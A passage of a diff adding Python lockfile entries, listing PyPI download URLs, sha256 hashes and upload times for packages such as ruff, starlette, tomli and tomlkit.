+    { url = "https://files.pythonhosted.org/packages/a6/74/165545b60256a9704c21ac0ec4a0d07933b320812f9584836c9f4aca4292/ruff-0.15.20-py3-none-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:e89f198a1ea6ef0d727c1cf16088bc91a6cb0ab947dedc966715691647186eae", size = 11526176, upload-time = "2026-06-25T17:20:06.301Z" },
+    { url = "https://files.pythonhosted.org/packages/86/b1/a976a136d40ade83ce743578399865f57001003a409acadc0ecbb3051082/ruff-0.15.20-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:309809086c2acb67624950a3c8133e80f32d0d3e27106c0cd60ff26657c9f24b", size = 11520767, upload-time = "2026-06-25T17:20:09.191Z" },
+    { url = "https://files.pythonhosted.org/packages/19/0f/f032696cb01c9b54c0263fa393474d7758f1cdc021a01b04e3cbc2500999/ruff-0.15.20-py3-none-manylinux_2_31_riscv64.whl", hash = "sha256:2d2374caa2f2c2f9e2b7da0a50802cfb8b79f55a9b5e49379f564544fbf56487", size = 11500132, upload-time = "2026-06-25T17:20:13.602Z" },
+    { url = "https://files.pythonhosted.org/packages/4b/f4/51b1a14bc69e8c224b15dab9cce8e99b425e0455d462caa2b3c9be2b6a8e/ruff-0.15.20-py3-none-musllinux_1_2_aarch64.whl", hash = "sha256:a1ed17b65293e0c2f22fc387bc13198a5de94bf4429589b0ff6946b0feaf21a3", size = 10943828, upload-time = "2026-06-25T17:20:16.635Z" },
+    { url = "https://files.pythonhosted.org/packages/71/4b/fe267640783cd02bf6c5cc290b1df1051be2ec294c678b5c15fe19e52343/ruff-0.15.20-py3-none-musllinux_1_2_armv7l.whl", hash = "sha256:f701305e66b38ea6c91882490eb73459796808e4c6362a1b765255e0cdcd4053", size = 10645418, upload-time = "2026-06-25T17:20:19.4Z" },
+    { url = "https://files.pythonhosted.org/packages/b0/c0/a65aa4ec2f5e87a1df32dc3ec1fede434fe3dfd5cbcf3b503cafc676ab54/ruff-0.15.20-py3-none-musllinux_1_2_i686.whl", hash = "sha256:5b9c0c367ad8e5d0d5b5b8537864c469a0a0e55417aadfbeca41fa61333be9f4", size = 11211770, upload-time = "2026-06-25T17:20:22.033Z" },
+    { url = "https://files.pythonhosted.org/packages/5a/a4/0caa331d954ae2723d729d351c989cb4ca8b6077d5c6c2cb6de75e98c041/ruff-0.15.20-py3-none-musllinux_1_2_x86_64.whl", hash = "sha256:01cc00dd58f0df339d0e902219dd53990ea99996a0344e5d9cc8d45d5307e460", size = 11618698, upload-time = "2026-06-25T17:20:25.259Z" },
+    { url = "https://files.pythonhosted.org/packages/10/9b/5f14927848d2fd4aa891fd88d883788c5a7baba561c7874732364045708c/ruff-0.15.20-py3-none-win32.whl", hash = "sha256:ed65ef510e43a137207e0f01cfcf998aeddb1aeeda5c9d35023e910284d7cf21", size = 10857322, upload-time = "2026-06-25T17:20:28.612Z" },
+    { url = "https://files.pythonhosted.org/packages/fa/f0/fe47c501f9dea92a26d788ff98bb5d92ed4cb4c88792c5c88af6b697dc8e/ruff-0.15.20-py3-none-win_amd64.whl", hash = "sha256:a525c81c70fb0380344dd1d8745d8cc1c890b7fc94a58d5a07bd8eb9557b8415", size = 11993274, upload-time = "2026-06-25T17:20:31.871Z" },
+    { url = "https://files.pythonhosted.org/packages/d7/2b/9555445e1201d92b3195f45cdb153a0b68f24e0a4273f6e3d5ab46e212bb/ruff-0.15.20-py3-none-win_arm64.whl", hash = "sha256:2f5b2a6d614e8700388806a14996c40fab2c47b819ef57d790a34878858ed9ca", size = 11343498, upload-time = "2026-06-25T17:20:35.03Z" },
+]
+
+[[package]]
+name = "secretstorage"
+version = "3.5.0"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+    { name = "cryptography" },
+    { name = "jeepney" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/1c/03/e834bcd866f2f8a49a85eaff47340affa3bfa391ee9912a952a1faa68c7b/secretstorage-3.5.0.tar.gz", hash = "sha256:f04b8e4689cbce351744d5537bf6b1329c6fc68f91fa666f60a380edddcd11be", size = 19884, upload-time = "2025-11-23T19:02:53.191Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/b7/46/f5af3402b579fd5e11573ce652019a67074317e18c1935cc0b4ba9b35552/secretstorage-3.5.0-py3-none-any.whl", hash = "sha256:0ce65888c0725fcb2c5bc0fdb8e5438eece02c523557ea40ce0703c266248137", size = 15554, upload-time = "2025-11-23T19:02:51.545Z" },
+]
+
+[[package]]
+name = "setuptools"
+version = "82.0.1"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/4f/db/cfac1baf10650ab4d1c111714410d2fbb77ac5a616db26775db562c8fab2/setuptools-82.0.1.tar.gz", hash = "sha256:7d872682c5d01cfde07da7bccc7b65469d3dca203318515ada1de5eda35efbf9", size = 1152316, upload-time = "2026-03-09T12:47:17.221Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/9d/76/f789f7a86709c6b087c5a2f52f911838cad707cc613162401badc665acfe/setuptools-82.0.1-py3-none-any.whl", hash = "sha256:a59e362652f08dcd477c78bb6e7bd9d80a7995bc73ce773050228a348ce2e5bb", size = 1006223, upload-time = "2026-03-09T12:47:15.026Z" },
+]
+
+[[package]]
+name = "shellingham"
+version = "1.5.4"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/58/15/8b3609fd3830ef7b27b655beb4b4e9c62313a4e8da8c676e142cc210d58e/shellingham-1.5.4.tar.gz", hash = "sha256:8dbca0739d487e5bd35ab3ca4b36e11c4078f3a234bfce294b0a0291363404de", size = 10310, upload-time = "2023-10-24T04:13:40.426Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/e0/f9/0595336914c5619e5f28a1fb793285925a8cd4b432c9da0a987836c7f822/shellingham-1.5.4-py2.py3-none-any.whl", hash = "sha256:7ecfff8f2fd72616f7481040475a65b2bf8af90a56c89140852d1120324e8686", size = 9755, upload-time = "2023-10-24T04:13:38.866Z" },
+]
+
+[[package]]
+name = "six"
+version = "1.17.0"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/94/e7/b2c673351809dca68a0e064b6af791aa332cf192da575fd474ed7d6f16a2/six-1.17.0.tar.gz", hash = "sha256:ff70335d468e7eb6ec65b95b99d3a2836546063f63acc5171de367e834932a81", size = 34031, upload-time = "2024-12-04T17:35:28.174Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/b7/ce/149a00dd41f10bc29e5921b496af8b574d8413afcd5e30dfa0ed46c2cc5e/six-1.17.0-py2.py3-none-any.whl", hash = "sha256:4721f391ed90541fddacab5acf947aa0d3dc7d27b2e1e8eda2be8970586c3274", size = 11050, upload-time = "2024-12-04T17:35:26.475Z" },
+]
+
+[[package]]
+name = "sse-starlette"
+version = "3.3.4"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+    { name = "anyio", marker = "python_full_version >= '3.11'" },
+    { name = "starlette", marker = "python_full_version >= '3.11'" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/26/8c/f9290339ef6d79badbc010f067cd769d6601ec11a57d78569c683fb4dd87/sse_starlette-3.3.4.tar.gz", hash = "sha256:aaf92fc067af8a5427192895ac028e947b484ac01edbc3caf00e7e7137c7bef1", size = 32427, upload-time = "2026-03-29T09:00:23.307Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/f8/7f/3de5402f39890ac5660b86bcf5c03f9d855dad5c4ed764866d7b592b46fd/sse_starlette-3.3.4-py3-none-any.whl", hash = "sha256:84bb06e58939a8b38d8341f1bc9792f06c2b53f48c608dd207582b664fc8f3c1", size = 14330, upload-time = "2026-03-29T09:00:21.846Z" },
+]
+
+[[package]]
+name = "starlette"
+version = "1.3.1"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+    { name = "anyio", marker = "python_full_version >= '3.11'" },
+    { name = "typing-extensions", marker = "python_full_version >= '3.11' and python_full_version < '3.13'" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/eb/e3/7c1dc7381d9f8ab7d854328ebfa884e62cb3f3d8549ddfd37c7814f42afa/starlette-1.3.1.tar.gz", hash = "sha256:05d0213193f2fbaae60e2ecb593b4add4262ad4e46536b54abe36f11a71724e0", size = 2703240, upload-time = "2026-06-12T09:23:11.602Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/ec/bb/2799cc2ede3ed41131f8975621e7213dfc7ef4acbbaadfa440f32500c370/starlette-1.3.1-py3-none-any.whl", hash = "sha256:c7372aae11c3c3f26a42df7bd626cec2f47d03483d261d369516a615a53714c6", size = 73632, upload-time = "2026-06-12T09:23:10.017Z" },
+]
+
+[[package]]
+name = "structlog"
+version = "25.5.0"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/ef/52/9ba0f43b686e7f3ddfeaa78ac3af750292662284b3661e91ad5494f21dbc/structlog-25.5.0.tar.gz", hash = "sha256:098522a3bebed9153d4570c6d0288abf80a031dfdb2048d59a49e9dc2190fc98", size = 1460830, upload-time = "2025-10-27T08:28:23.028Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/a8/45/a132b9074aa18e799b891b91ad72133c98d8042c70f6240e4c5f9dabee2f/structlog-25.5.0-py3-none-any.whl", hash = "sha256:a8453e9b9e636ec59bd9e79bbd4a72f025981b3ba0f5837aebf48f02f37a7f9f", size = 72510, upload-time = "2025-10-27T08:28:21.535Z" },
+]
+
+[[package]]
+name = "tenacity"
+version = "9.1.4"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/47/c6/ee486fd809e357697ee8a44d3d69222b344920433d3b6666ccd9b374630c/tenacity-9.1.4.tar.gz", hash = "sha256:adb31d4c263f2bd041081ab33b498309a57c77f9acf2db65aadf0898179cf93a", size = 49413, upload-time = "2026-02-07T10:45:33.841Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/d7/c1/eb8f9debc45d3b7918a32ab756658a0904732f75e555402972246b0b8e71/tenacity-9.1.4-py3-none-any.whl", hash = "sha256:6095a360c919085f28c6527de529e76a06ad89b23659fa881ae0649b867a9d55", size = 28926, upload-time = "2026-02-07T10:45:32.24Z" },
+]
+
+[[package]]
+name = "tomli"
+version = "2.4.1"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/22/de/48c59722572767841493b26183a0d1cc411d54fd759c5607c4590b6563a6/tomli-2.4.1.tar.gz", hash = "sha256:7c7e1a961a0b2f2472c1ac5b69affa0ae1132c39adcb67aba98568702b9cc23f", size = 17543, upload-time = "2026-03-25T20:22:03.828Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/f4/11/db3d5885d8528263d8adc260bb2d28ebf1270b96e98f0e0268d32b8d9900/tomli-2.4.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:f8f0fc26ec2cc2b965b7a3b87cd19c5c6b8c5e5f436b984e85f486d652285c30", size = 154704, upload-time = "2026-03-25T20:21:10.473Z" },
+    { url = "https://files.pythonhosted.org/packages/6d/f7/675db52c7e46064a9aa928885a9b20f4124ecb9bc2e1ce74c9106648d202/tomli-2.4.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:4ab97e64ccda8756376892c53a72bd1f964e519c77236368527f758fbc36a53a", size = 149454, upload-time = "2026-03-25T20:21:12.036Z" },
+    { url = "https://files.pythonhosted.org/packages/61/71/81c50943cf953efa35bce7646caab3cf457a7d8c030b27cfb40d7235f9ee/tomli-2.4.1-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:96481a5786729fd470164b47cdb3e0e58062a496f455ee41b4403be77cb5a076", size = 237561, upload-time = "2026-03-25T20:21:13.098Z" },
+    { url = "https://files.pythonhosted.org/packages/48/c1/f41d9cb618acccca7df82aaf682f9b49013c9397212cb9f53219e3abac37/tomli-2.4.1-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:5a881ab208c0baf688221f8cecc5401bd291d67e38a1ac884d6736cbcd8247e9", size = 243824, upload-time = "2026-03-25T20:21:14.569Z" },
+    { url = "https://files.pythonhosted.org/packages/22/e4/5a816ecdd1f8ca51fb756ef684b90f2780afc52fc67f987e3c61d800a46d/tomli-2.4.1-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:47149d5bd38761ac8be13a84864bf0b7b70bc051806bc3669ab1cbc56216b23c", size = 242227, upload-time = "2026-03-25T20:21:15.712Z" },
+    { url = "https://files.pythonhosted.org/packages/6b/49/2b2a0ef529aa6eec245d25f0c703e020a73955ad7edf73e7f54ddc608aa5/tomli-2.4.1-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:ec9bfaf3ad2df51ace80688143a6a4ebc09a248f6ff781a9945e51937008fcbc", size = 247859, upload-time = "2026-03-25T20:21:17.001Z" },
+    { url = "https://files.pythonhosted.org/packages/83/bd/6c1a630eaca337e1e78c5903104f831bda934c426f9231429396ce3c3467/tomli-2.4.1-cp311-cp311-win32.whl", hash = "sha256:ff2983983d34813c1aeb0fa89091e76c3a22889ee83ab27c5eeb45100560c049", size = 97204, upload-time = "2026-03-25T20:21:18.079Z" },
+    { url = "https://files.pythonhosted.org/packages/42/59/71461df1a885647e10b6bb7802d0b8e66480c61f3f43079e0dcd315b3954/tomli-2.4.1-cp311-cp311-win_amd64.whl", hash = "sha256:5ee18d9ebdb417e384b58fe414e8d6af9f4e7a0ae761519fb50f721de398dd4e", size = 108084, upload-time = "2026-03-25T20:21:18.978Z" },
+    { url = "https://files.pythonhosted.org/packages/b8/83/dceca96142499c069475b790e7913b1044c1a4337e700751f48ed723f883/tomli-2.4.1-cp311-cp311-win_arm64.whl", hash = "sha256:c2541745709bad0264b7d4705ad453b76ccd191e64aa6f0fc66b69a293a45ece", size = 95285, upload-time = "2026-03-25T20:21:20.309Z" },
+    { url = "https://files.pythonhosted.org/packages/c1/ba/42f134a3fe2b370f555f44b1d72feebb94debcab01676bf918d0cb70e9aa/tomli-2.4.1-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:c742f741d58a28940ce01d58f0ab2ea3ced8b12402f162f4d534dfe18ba1cd6a", size = 155924, upload-time = "2026-03-25T20:21:21.626Z" },
+    { url = "https://files.pythonhosted.org/packages/dc/c7/62d7a17c26487ade21c5422b646110f2162f1fcc95980ef7f63e73c68f14/tomli-2.4.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:7f86fd587c4ed9dd76f318225e7d9b29cfc5a9d43de44e5754db8d1128487085", size = 150018, upload-time = "2026-03-25T20:21:23.002Z" },
+    { url = "https://files.pythonhosted.org/packages/5c/05/79d13d7c15f13bdef410bdd49a6485b1c37d28968314eabee452c22a7fda/tomli-2.4.1-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:ff18e6a727ee0ab0388507b89d1bc6a22b138d1e2fa56d1ad494586d61d2eae9", size = 244948, upload-time = "2026-03-25T20:21:24.04Z" },
+    { url = "https://files.pythonhosted.org/packages/10/90/d62ce007a1c80d0b2c93e02cab211224756240884751b94ca72df8a875ca/tomli-2.4.1-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:136443dbd7e1dee43c68ac2694fde36b2849865fa258d39bf822c10e8068eac5", size = 253341, upload-time = "2026-03-25T20:21:25.177Z" },
+    { url = "https://files.pythonhosted.org/packages/1a/7e/caf6496d60152ad4ed09282c1885cca4eea150bfd007da84aea07bcc0a3e/tomli-2.4.1-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:5e262d41726bc187e69af7825504c933b6794dc3fbd5945e41a79bb14c31f585", size = 248159, upload-time = "2026-03-25T20:21:26.364Z" },
+    { url = "https://files.pythonhosted.org/packages/99/e7/c6f69c3120de34bbd882c6fba7975f3d7a746e9218e56ab46a1bc4b42552/tomli-2.4.1-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:5cb41aa38891e073ee49d55fbc7839cfdb2bc0e600add13874d048c94aadddd1", size = 253290, upload-time = "2026-03-25T20:21:27.46Z" },
+    { url = "https://files.pythonhosted.org/packages/d6/2f/4a3c322f22c5c66c4b836ec58211641a4067364f5dcdd7b974b4c5da300c/tomli-2.4.1-cp312-cp312-win32.whl", hash = "sha256:da25dc3563bff5965356133435b757a795a17b17d01dbc0f42fb32447ddfd917", size = 98141, upload-time = "2026-03-25T20:21:28.492Z" },
+    { url = "https://files.pythonhosted.org/packages/24/22/4daacd05391b92c55759d55eaee21e1dfaea86ce5c571f10083360adf534/tomli-2.4.1-cp312-cp312-win_amd64.whl", hash = "sha256:52c8ef851d9a240f11a88c003eacb03c31fc1c9c4ec64a99a0f922b93874fda9", size = 108847, upload-time = "2026-03-25T20:21:29.386Z" },
+    { url = "https://files.pythonhosted.org/packages/68/fd/70e768887666ddd9e9f5d85129e84910f2db2796f9096aa02b721a53098d/tomli-2.4.1-cp312-cp312-win_arm64.whl", hash = "sha256:f758f1b9299d059cc3f6546ae2af89670cb1c4d48ea29c3cacc4fe7de3058257", size = 95088, upload-time = "2026-03-25T20:21:30.677Z" },
+    { url = "https://files.pythonhosted.org/packages/07/06/b823a7e818c756d9a7123ba2cda7d07bc2dd32835648d1a7b7b7a05d848d/tomli-2.4.1-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:36d2bd2ad5fb9eaddba5226aa02c8ec3fa4f192631e347b3ed28186d43be6b54", size = 155866, upload-time = "2026-03-25T20:21:31.65Z" },
+    { url = "https://files.pythonhosted.org/packages/14/6f/12645cf7f08e1a20c7eb8c297c6f11d31c1b50f316a7e7e1e1de6e2e7b7e/tomli-2.4.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:eb0dc4e38e6a1fd579e5d50369aa2e10acfc9cace504579b2faabb478e76941a", size = 149887, upload-time = "2026-03-25T20:21:33.028Z" },
+    { url = "https://files.pythonhosted.org/packages/5c/e0/90637574e5e7212c09099c67ad349b04ec4d6020324539297b634a0192b0/tomli-2.4.1-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:c7f2c7f2b9ca6bdeef8f0fa897f8e05085923eb091721675170254cbc5b02897", size = 243704, upload-time = "2026-03-25T20:21:34.51Z" },
+    { url = "https://files.pythonhosted.org/packages/10/8f/d3ddb16c5a4befdf31a23307f72828686ab2096f068eaf56631e136c1fdd/tomli-2.4.1-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:f3c6818a1a86dd6dca7ddcaaf76947d5ba31aecc28cb1b67009a5877c9a64f3f", size = 251628, upload-time = "2026-03-25T20:21:36.012Z" },
+    { url = "https://files.pythonhosted.org/packages/e3/f1/dbeeb9116715abee2485bf0a12d07a8f31af94d71608c171c45f64c0469d/tomli-2.4.1-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:d312ef37c91508b0ab2cee7da26ec0b3ed2f03ce12bd87a588d771ae15dcf82d", size = 247180, upload-time = "2026-03-25T20:21:37.136Z" },
+    { url = "https://files.pythonhosted.org/packages/d3/74/16336ffd19ed4da28a70959f92f506233bd7cfc2332b20bdb01591e8b1d1/tomli-2.4.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:51529d40e3ca50046d7606fa99ce3956a617f9b36380da3b7f0dd3dd28e68cb5", size = 251674, upload-time = "2026-03-25T20:21:38.298Z" },
+    { url = "https://files.pythonhosted.org/packages/16/f9/229fa3434c590ddf6c0aa9af64d3af4b752540686cace29e6281e3458469/tomli-2.4.1-cp313-cp313-win32.whl", hash = "sha256:2190f2e9dd7508d2a90ded5ed369255980a1bcdd58e52f7fe24b8162bf9fedbd", size = 97976, upload-time = "2026-03-25T20:21:39.316Z" },
+    { url = "https://files.pythonhosted.org/packages/6a/1e/71dfd96bcc1c775420cb8befe7a9d35f2e5b1309798f009dca17b7708c1e/tomli-2.4.1-cp313-cp313-win_amd64.whl", hash = "sha256:8d65a2fbf9d2f8352685bc1364177ee3923d6baf5e7f43ea4959d7d8bc326a36", size = 108755, upload-time = "2026-03-25T20:21:40.248Z" },
+    { url = "https://files.pythonhosted.org/packages/83/7a/d34f422a021d62420b78f5c538e5b102f62bea616d1d75a13f0a88acb04a/tomli-2.4.1-cp313-cp313-win_arm64.whl", hash = "sha256:4b605484e43cdc43f0954ddae319fb75f04cc10dd80d830540060ee7cd0243cd", size = 95265, upload-time = "2026-03-25T20:21:41.219Z" },
+    { url = "https://files.pythonhosted.org/packages/3c/fb/9a5c8d27dbab540869f7c1f8eb0abb3244189ce780ba9cd73f3770662072/tomli-2.4.1-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:fd0409a3653af6c147209d267a0e4243f0ae46b011aa978b1080359fddc9b6cf", size = 155726, upload-time = "2026-03-25T20:21:42.23Z" },
+    { url = "https://files.pythonhosted.org/packages/62/05/d2f816630cc771ad836af54f5001f47a6f611d2d39535364f148b6a92d6b/tomli-2.4.1-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:a120733b01c45e9a0c34aeef92bf0cf1d56cfe81ed9d47d562f9ed591a9828ac", size = 149859, upload-time = "2026-03-25T20:21:43.386Z" },
+    { url = "https://files.pythonhosted.org/packages/ce/48/66341bdb858ad9bd0ceab5a86f90eddab127cf8b046418009f2125630ecb/tomli-2.4.1-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:559db847dc486944896521f68d8190be1c9e719fced785720d2216fe7022b662", size = 244713, upload-time = "2026-03-25T20:21:44.474Z" },
+    { url = "https://files.pythonhosted.org/packages/df/6d/c5fad00d82b3c7a3ab6189bd4b10e60466f22cfe8a08a9394185c8a8111c/tomli-2.4.1-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:01f520d4f53ef97964a240a035ec2a869fe1a37dde002b57ebc4417a27ccd853", size = 252084, upload-time = "2026-03-25T20:21:45.62Z" },
+    { url = "https://files.pythonhosted.org/packages/00/71/3a69e86f3eafe8c7a59d008d245888051005bd657760e96d5fbfb0b740c2/tomli-2.4.1-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:7f94b27a62cfad8496c8d2513e1a222dd446f095fca8987fceef261225538a15", size = 247973, upload-time = "2026-03-25T20:21:46.937Z" },
+    { url = "https://files.pythonhosted.org/packages/67/50/361e986652847fec4bd5e4a0208752fbe64689c603c7ae5ea7cb16b1c0ca/tomli-2.4.1-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:ede3e6487c5ef5d28634ba3f31f989030ad6af71edfb0055cbbd14189ff240ba", size = 256223, upload-time = "2026-03-25T20:21:48.467Z" },
+    { url = "https://files.pythonhosted.org/packages/8c/9a/b4173689a9203472e5467217e0154b00e260621caa227b6fa01feab16998/tomli-2.4.1-cp314-cp314-win32.whl", hash = "sha256:3d48a93ee1c9b79c04bb38772ee1b64dcf18ff43085896ea460ca8dec96f35f6", size = 98973, upload-time = "2026-03-25T20:21:49.526Z" },
+    { url = "https://files.pythonhosted.org/packages/14/58/640ac93bf230cd27d002462c9af0d837779f8773bc03dee06b5835208214/tomli-2.4.1-cp314-cp314-win_amd64.whl", hash = "sha256:88dceee75c2c63af144e456745e10101eb67361050196b0b6af5d717254dddf7", size = 109082, upload-time = "2026-03-25T20:21:50.506Z" },
+    { url = "https://files.pythonhosted.org/packages/d5/2f/702d5e05b227401c1068f0d386d79a589bb12bf64c3d2c72ce0631e3bc49/tomli-2.4.1-cp314-cp314-win_arm64.whl", hash = "sha256:b8c198f8c1805dc42708689ed6864951fd2494f924149d3e4bce7710f8eb5232", size = 96490, upload-time = "2026-03-25T20:21:51.474Z" },
+    { url = "https://files.pythonhosted.org/packages/45/4b/b877b05c8ba62927d9865dd980e34a755de541eb65fffba52b4cc495d4d2/tomli-2.4.1-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:d4d8fe59808a54658fcc0160ecfb1b30f9089906c50b23bcb4c69eddc19ec2b4", size = 164263, upload-time = "2026-03-25T20:21:52.543Z" },
+    { url = "https://files.pythonhosted.org/packages/24/79/6ab420d37a270b89f7195dec5448f79400d9e9c1826df982f3f8e97b24fd/tomli-2.4.1-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:7008df2e7655c495dd12d2a4ad038ff878d4ca4b81fccaf82b714e07eae4402c", size = 160736, upload-time = "2026-03-25T20:21:53.674Z" },
+    { url = "https://files.pythonhosted.org/packages/02/e0/3630057d8eb170310785723ed5adcdfb7d50cb7e6455f85ba8a3deed642b/tomli-2.4.1-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1d8591993e228b0c930c4bb0db464bdad97b3289fb981255d6c9a41aedc84b2d", size = 270717, upload-time = "2026-03-25T20:21:55.129Z" },
+    { url = "https://files.pythonhosted.org/packages/7a/b4/1613716072e544d1a7891f548d8f9ec6ce2faf42ca65acae01d76ea06bb0/tomli-2.4.1-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:734e20b57ba95624ecf1841e72b53f6e186355e216e5412de414e3c51e5e3c41", size = 278461, upload-time = "2026-03-25T20:21:56.228Z" },
+    { url = "https://files.pythonhosted.org/packages/05/38/30f541baf6a3f6df77b3df16b01ba319221389e2da59427e221ef417ac0c/tomli-2.4.1-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:8a650c2dbafa08d42e51ba0b62740dae4ecb9338eefa093aa5c78ceb546fcd5c", size = 274855, upload-time = "2026-03-25T20:21:57.653Z" },
+    { url = "https://files.pythonhosted.org/packages/77/a3/ec9dd4fd2c38e98de34223b995a3b34813e6bdadf86c75314c928350ed14/tomli-2.4.1-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:504aa796fe0569bb43171066009ead363de03675276d2d121ac1a4572397870f", size = 283144, upload-time = "2026-03-25T20:21:59.089Z" },
+    { url = "https://files.pythonhosted.org/packages/ef/be/605a6261cac79fba2ec0c9827e986e00323a1945700969b8ee0b30d85453/tomli-2.4.1-cp314-cp314t-win32.whl", hash = "sha256:b1d22e6e9387bf4739fbe23bfa80e93f6b0373a7f1b96c6227c32bef95a4d7a8", size = 108683, upload-time = "2026-03-25T20:22:00.214Z" },
+    { url = "https://files.pythonhosted.org/packages/12/64/da524626d3b9cc40c168a13da8335fe1c51be12c0a63685cc6db7308daae/tomli-2.4.1-cp314-cp314t-win_amd64.whl", hash = "sha256:2c1c351919aca02858f740c6d33adea0c5deea37f9ecca1cc1ef9e884a619d26", size = 121196, upload-time = "2026-03-25T20:22:01.169Z" },
+    { url = "https://files.pythonhosted.org/packages/5a/cd/e80b62269fc78fc36c9af5a6b89c835baa8af28ff5ad28c7028d60860320/tomli-2.4.1-cp314-cp314t-win_arm64.whl", hash = "sha256:eab21f45c7f66c13f2a9e0e1535309cee140182a9cdae1e041d02e47291e8396", size = 100393, upload-time = "2026-03-25T20:22:02.137Z" },
+    { url = "https://files.pythonhosted.org/packages/7b/61/cceae43728b7de99d9b847560c262873a1f6c98202171fd5ed62640b494b/tomli-2.4.1-py3-none-any.whl", hash = "sha256:0d85819802132122da43cb86656f8d1f8c6587d54ae7dcaf30e90533028b49fe", size = 14583, upload-time = "2026-03-25T20:22:03.012Z" },
+]
+
+[[package]]
+name = "tomli-w"
+version = "1.2.0"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/19/75/241269d1da26b624c0d5e110e8149093c759b7a286138f4efd61a60e75fe/tomli_w-1.2.0.tar.gz", hash = "sha256:2dd14fac5a47c27be9cd4c976af5a12d87fb1f0b4512f81d69cce3b35ae25021", size = 7184, upload-time = "2025-01-15T12:07:24.262Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/c7/18/c86eb8e0202e32dd3df50d43d7ff9854f8e0603945ff398974c1d91ac1ef/tomli_w-1.2.0-py3-none-any.whl", hash = "sha256:188306098d013b691fcadc011abd66727d3c414c571bb01b1a174ba8c983cf90", size = 6675, upload-time = "2025-01-15T12:07:22.074Z" },
+]
+
+[[package]]
+name = "tomlkit"
+version = "0.14.0"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/c3/af/14b24e41977adb296d6bd1fb59402cf7d60ce364f90c890bd2ec65c43b5a/tomlkit-0.14.0.tar.gz", hash = "sha256:cf00efca415dbd57575befb1f6634c4f42d2d87dbba376128adb42c121b87064", size = 187167, upload-time = "2026-01-13T01:14:53.304Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/b5/11/87d6d29fb5d237229d67973a6c9e06e048f01cf4994dee194ab0ea841814/tomlkit-0.14.0-py3-none-any.whl", hash = "sha256:592064ed85b40fa213469f81ac584f67a4f2992509a7c3ea2d632208623a3680", size = 39310, upload-time = "2026-01-13T01:14:51.965Z" },
+]
+
+[[package]]
+name = "trove-classifiers"
+version = "2026.1.14.14"
+source = { registry = "https://pypi.org/simple" }
